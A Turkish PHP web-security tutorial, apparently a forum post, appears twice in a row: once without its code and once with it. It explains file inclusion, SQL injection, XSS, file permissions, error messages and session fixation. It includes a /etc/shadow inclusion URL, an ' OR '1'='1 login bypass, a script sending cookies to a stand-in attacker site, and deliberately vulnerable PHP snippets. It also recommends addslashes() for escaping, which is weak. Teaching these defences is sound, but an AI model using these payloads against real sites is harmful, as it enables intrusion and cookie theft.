1) Kullanıcı Input Kontrolü
Web siteniz üzerine kullanıcıdan gelen her türlü veriyi mutlaka filtrelemeniz gerekir. $_POST , $_GET, $_COOKIE gibi kullanıcılardan gelebilecek veriler sistemde dosya açma, veri tabanı işlemlerinde kullanılıyorsa mutlaka kullanıldıkları alana uygunlukları kontrol edilmelidir.
Örneğin navigasyonu, index.php?sayfa=XXXX şeklinde kurulmuş bir programın kodları aşağıdaki şekilde yazılırsa.
Çok büyük bir güvenlik açığı var demektir. Programın beklediği URL ler index.php?sayfa=sozler.html iken, kötü niyetli bir kullanıcı index.php?sayfa=/etc/shadow ile tüm unix sisteminin password dosyasını ele geçirebilir.
Bunun daha da kötüsü eski versiyon PHP kullanıp register_globals ON tutulmuşsa, her türlü değişkene URL satırından değer vermek mümkün olur.
Diğer bir örnekte veritabanına kullanıcı doğrulaması yapılan bir kodda
SELECT username FROM users WHERE username='$user' AND password='$pass'
Sorgusu kullanılıyor ise, kötü niyetli bir kullanıcı URL satırından
login.php?pass=' OR '1'='1 girdisini verdiğinde SQL aşağıdaki şekle dönüşür
SELECT username FROM users WHERE username='$user' AND password='' OR '1'='1'
Bu sorgu sonucunda şifresiz bir şekilde kullanıcı adına giriş yapabilirsiniz.
2) Kullanıcı Input + XSS
Yine kullanıcı, cross site scripting dediğimiz şekilde bir siteden başka bir siteye veri kaçırma işlemi yapabilir. HTML elementleri kabul eden bir formunuza kötü niyetli bir kullanıcı aşağıdaki html kodunu girebilir.
Bu tarz bir enjeksiyon ile X sitesindeki kişilerin cookieleri kötü adamın sitesine taşınır. Cookie ile hassas bilgi taşınan sitelerde, bu sayede kötü adam herhangi bir kullanıcı adına diğer siteye giriş yapabilir.
* İlla html tagları gerekliyse, en azından <script> gibi zararlı şeylere açık taglar filtrelenmelidir. Bunun için htmlspecialchars(), strip_tags() gibi fonksiyonları inceleyiniz.
* Diğer türlü enjeksiyonlar için addslashes() fonksiyonu ile tırnaklar escape edilmeli, her türlü form girdisi, programın beklediği özellikleri taşıyıp taşımadığına dair kontrol edilmelidir.
* Asla kullanıcı girdisinden file include(), require() fonksiyonları kullanılmamalıdır. Veya filtrelenerek kullanılmalıdır.
3) Dosya İzinleri
config.php db.php gibi veritabanı şifrelerinin plain-text saklandığı ortamlarda mutlaka sunucuların dosya okuma izin ayarları doğru yapılmalı. Genelde shared host ortamlarında herhangi başka bir kullanıcının web dizin adresi bulunduğunda, o dizinlere fopen() ile erişim sağlanabiliyorsa, o host ortamında büyük bir güvenlik açığı var demektir. Bir çok panel, ve eski versiyon uygulama, php+apache ortamında safe mode veya open basedir varsayılan olarak kullanmamaktadır. Birden çok kullanıcının eriştiği ortamlarda mutlaka herkes kendi dizinine limitlendirilmeli, diğer kişilerin dizinlerine dosya açma izini verilmemelidir.
4) Hata Bildirimleri
Hata bildirimlerini mutlaka kapayınız. Dizin ve dosya isimleri hata bildiriminde browsera verilmekte ve kötü niyetli kullanıcılar uygulamanız hakkında ek bilgi edinebilmektedir. PHP'de error_reporting bölümünü inceleyin.
5) Session Güvenliği
Sessionlar en çok hatalı ve zarar verilmeye açık kod yazılan alanlardan biridir.
Herşeyden önce session bilgisinin tutulduğu /tmp, /var/lib/php/session gibi dizinlere erişimler kısıtlanmalıdır. Dosya listesi çekmek için yapılacak bir işlemde bile diğer insanların Session ID bilgileri listelenebilmektedir. Herhangi bir kişinin Session ID'sine sahipseniz, sunucuya kendinizi o kişi olarak tanıtabilme yeteneğine kavuşursunuz.
Bu tarz bir kod asla tek başına bir kişinin giriş yapıp yapmadığına bir işaret olarak kullanılmamalıdır. İdeal olarak, performans sorununuz yoksa database'den user_id veya password gibi alanlar her adımda onaylatılarak devam edilebilir.
Yine XSS kullanarak kötü adam size özel bir session_id sini X sitesine girdiğinizde üstünüze atayabilir. (COOKIE veya URLden). Kullanıcı session_id sini alır ve sitede gezmeye başlar. Siteye giriş yapar yapmaz ise yukarıdaki örnekteki gibi sitenin sadece özel kullanıcılarına açık alana girer. Kötü adam ise, daha önceden kendisi atadığı session_id sine sahip olduğu için kendini o kullanıcı gibi gösterip içeriye giriş izni bulur.
Bu çok basit bir teknik gibi görünsede web sitelerinin bir çoğu bu atağa karşı açıktır. Kullanıcılar giriş yaptıktan sonra session_regenerate_id() ile session idlerini mutlaka yeniden atayınız. Giriş yapmadan önceki ID'nin güvenilirliği sizde olmadığı için mutlaka yeni bir tane veriniz. Onu sizin verdiğinizden eminsiniz, ama diğeri kötü adam tarafından verilmiş olabilir.
Ek olarak session güvenliği için, kullanıcının IP Adresi, User Agent'i şifrelenmiş olarak veritabanından kontrol edilebilir. Bu sayede kötü adam ID'ye sahip olsa bile önüne bir adım engel daha koymuş olacaksınız.
Kredi kartı, şifre gibi bilgileri asla session veya cookie üzerinde plain-text olarak taşımayınız.
--
Devam edecek.
Web siteniz üzerine kullanıcıdan gelen her türlü veriyi mutlaka filtrelemeniz gerekir. $_POST , $_GET, $_COOKIE gibi kullanıcılardan gelebilecek veriler sistemde dosya açma, veri tabanı işlemlerinde kullanılıyorsa mutlaka kullanıldıkları alana uygunlukları kontrol edilmelidir.
Örneğin navigasyonu, index.php?sayfa=XXXX şeklinde kurulmuş bir programın kodları aşağıdaki şekilde yazılırsa.
PHP:
if ($_GET['sayfa']) {
include($_GET['sayfa']);
}
Çok büyük bir güvenlik açığı var demektir. Programın beklediği URL ler index.php?sayfa=sozler.html iken, kötü niyetli bir kullanıcı index.php?sayfa=/etc/shadow ile tüm unix sisteminin password dosyasını ele geçirebilir.
Bunun daha da kötüsü eski versiyon PHP kullanıp register_globals ON tutulmuşsa, her türlü değişkene URL satırından değer vermek mümkün olur.
Diğer bir örnekte veritabanına kullanıcı doğrulaması yapılan bir kodda
SELECT username FROM users WHERE username='$user' AND password='$pass'
Sorgusu kullanılıyor ise, kötü niyetli bir kullanıcı URL satırından
login.php?pass=' OR '1'='1 girdisini verdiğinde SQL aşağıdaki şekle dönüşür
SELECT username FROM users WHERE username='$user' AND password='' OR '1'='1'
Bu sorgu sonucunda şifresiz bir şekilde kullanıcı adına giriş yapabilirsiniz.
2) Kullanıcı Input + XSS
Yine kullanıcı, cross site scripting dediğimiz şekilde bir siteden başka bir siteye veri kaçırma işlemi yapabilir. HTML elementleri kabul eden bir formunuza kötü niyetli bir kullanıcı aşağıdaki html kodunu girebilir.
Kod:
<script>
window.location.href='http://www.kotuadaminsitesi.com/'+document.cookie;
</script>
Bu tarz bir enjeksiyon ile X sitesindeki kişilerin cookieleri kötü adamın sitesine taşınır. Cookie ile hassas bilgi taşınan sitelerde, bu sayede kötü adam herhangi bir kullanıcı adına diğer siteye giriş yapabilir.
* İlla html tagları gerekliyse, en azından <script> gibi zararlı şeylere açık taglar filtrelenmelidir. Bunun için htmlspecialchars(), strip_tags() gibi fonksiyonları inceleyiniz.
* Diğer türlü enjeksiyonlar için addslashes() fonksiyonu ile tırnaklar escape edilmeli, her türlü form girdisi, programın beklediği özellikleri taşıyıp taşımadığına dair kontrol edilmelidir.
* Asla kullanıcı girdisinden file include(), require() fonksiyonları kullanılmamalıdır. Veya filtrelenerek kullanılmalıdır.
3) Dosya İzinleri
config.php db.php gibi veritabanı şifrelerinin plain-text saklandığı ortamlarda mutlaka sunucuların dosya okuma izin ayarları doğru yapılmalı. Genelde shared host ortamlarında herhangi başka bir kullanıcının web dizin adresi bulunduğunda, o dizinlere fopen() ile erişim sağlanabiliyorsa, o host ortamında büyük bir güvenlik açığı var demektir. Bir çok panel, ve eski versiyon uygulama, php+apache ortamında safe mode veya open basedir varsayılan olarak kullanmamaktadır. Birden çok kullanıcının eriştiği ortamlarda mutlaka herkes kendi dizinine limitlendirilmeli, diğer kişilerin dizinlerine dosya açma izini verilmemelidir.
4) Hata Bildirimleri
Hata bildirimlerini mutlaka kapayınız. Dizin ve dosya isimleri hata bildiriminde browsera verilmekte ve kötü niyetli kullanıcılar uygulamanız hakkında ek bilgi edinebilmektedir. PHP'de error_reporting bölümünü inceleyin.
5) Session Güvenliği
Sessionlar en çok hatalı ve zarar verilmeye açık kod yazılan alanlardan biridir.
Herşeyden önce session bilgisinin tutulduğu /tmp, /var/lib/php/session gibi dizinlere erişimler kısıtlanmalıdır. Dosya listesi çekmek için yapılacak bir işlemde bile diğer insanların Session ID bilgileri listelenebilmektedir. Herhangi bir kişinin Session ID'sine sahipseniz, sunucuya kendinizi o kişi olarak tanıtabilme yeteneğine kavuşursunuz.
PHP:
if ($_SESSION['user_id']) {
echo 'logged in';
}
Bu tarz bir kod asla tek başına bir kişinin giriş yapıp yapmadığına bir işaret olarak kullanılmamalıdır. İdeal olarak, performans sorununuz yoksa database'den user_id veya password gibi alanlar her adımda onaylatılarak devam edilebilir.
Yine XSS kullanarak kötü adam size özel bir session_id sini X sitesine girdiğinizde üstünüze atayabilir. (COOKIE veya URLden). Kullanıcı session_id sini alır ve sitede gezmeye başlar. Siteye giriş yapar yapmaz ise yukarıdaki örnekteki gibi sitenin sadece özel kullanıcılarına açık alana girer. Kötü adam ise, daha önceden kendisi atadığı session_id sine sahip olduğu için kendini o kullanıcı gibi gösterip içeriye giriş izni bulur.
Bu çok basit bir teknik gibi görünsede web sitelerinin bir çoğu bu atağa karşı açıktır. Kullanıcılar giriş yaptıktan sonra session_regenerate_id() ile session idlerini mutlaka yeniden atayınız. Giriş yapmadan önceki ID'nin güvenilirliği sizde olmadığı için mutlaka yeni bir tane veriniz. Onu sizin verdiğinizden eminsiniz, ama diğeri kötü adam tarafından verilmiş olabilir.
Ek olarak session güvenliği için, kullanıcının IP Adresi, User Agent'i şifrelenmiş olarak veritabanından kontrol edilebilir. Bu sayede kötü adam ID'ye sahip olsa bile önüne bir adım engel daha koymuş olacaksınız.
Kredi kartı, şifre gibi bilgileri asla session veya cookie üzerinde plain-text olarak taşımayınız.
--
Devam edecek.